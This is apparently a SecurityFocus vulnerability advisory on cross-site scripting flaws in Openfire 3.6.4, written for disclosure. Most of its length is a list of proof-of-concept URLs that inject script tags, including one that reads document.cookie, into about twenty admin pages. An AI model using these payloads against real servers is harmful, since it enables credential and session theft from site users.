source: https://www.securityfocus.com/bid/45682/info
Openfire is prone to multiple cross-site-scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials; other attacks are also possible.
Openfire 3.6.4 is vulnerable; other versions may also be affected.
http://www.example.com/login.jsp?url=&username=test" onfocus=javascript:window.location.assign('http://www.google.com');">
http://www.example.com/login.jsp?url=hello" onfocus=javascript:window.location.assign('http://www.google.com');">
http://www.example.com/security-audit-viewer.jsp?range=15&username="><script>alert('xss')</script>&search=Search
http://www.example.com/user-create.jsp?username=test"><script>alert('xss')</script>
http://www.example.com/user-create.jsp?name=test"><script>alert('xss')</script>
http://www.example.com/user-create.jsp?email=test"><script>alert('xss')</script>
http://www.example.com/plugins/search/advance-user-search.jsp?criteria=test"><script>alert('xss')</script>
http://www.example.com/user-roster-add.jsp?username=test<script>alert('xss')</script>
http://www.example.com/user-roster-add.jsp?username=user&jid=1&nickname=<script>alert('XSS')</script>&email=<script>alert('XSS')</script>&add=Add+Item
http://www.example.com/user-roster.jsp?username=test<script>alert(document.cookie)</script>
http://www.example.com/user-lockout.jsp?username=test<script>alert('xss')</script>
http://www.example.com/group-create.jsp?name=test<script>alert('xss')</script>&description=<script>alert('xss')</script>&create=Create+Group
http://www.example.com/group-edit.jsp?creategroupsuccess=true&group=test<script>alert('xss')</script>
http://www.example.com/group-delete.jsp?group=<script>alert('xss')</script>
http://www.example.com/muc-room-edit-form.jsp?save=true&create="><script>alert('XSS')</script>&roomconfig_persistentroom="><script>alert('XSS')</
script>&roomName=23&mucName=conference&roomconfig_roomname=<script>alert('XSS')</script>&roomconfig_roomdesc=<script>alert('XSS')</script>&room_
topic=<script>alert('XSS')</script>&roomconfig_maxusers="><script>alert('XSS')</script>&roomconfig_presencebroadcast=<script>alert('XSS')</scrip
t>true&roomconfig_presencebroadcast2="><script>alert('XSS')</script>&roomcofig_presencebroadcast3=true"><script>alert('XSS')</script>&roomconfi
g_roomsecret="><script>alert('XSS')</script>&roomconfig_roomsecret2="><script>alert('XSS')</script>&roomconfig_whois=moderator"><script>alert('X
SS')</script>&roomconfig_publicroom=true"><script>alert('XSS')</script>&roomconfig_canchangenick=true"><script>alert('XSS')</script>&roomconfig_
registration=true"><script>alert('XSS')</script>&Submit=Save+Changes
http://www.example.com/muc-room-delete.jsp?roomJID="><script>alert('XSS')</script>&create=false
http://www.example.com/plugins/clientcontrol/create-bookmark.jsp?urlName="><script>alert('XSS')</script>&url="><script>alert('XSS')</script>&user
s="><script>alert('XSS')</script>&groups="><script>alert('XSS')</script>&rss=off&createURLBookmark=Create&type=url
http://www.example.com/plugins/clientcontrol/spark-form.jsp?optionalMessage=</textarea><script>alert('XSS')</script>&submit=Update+Spark+Versions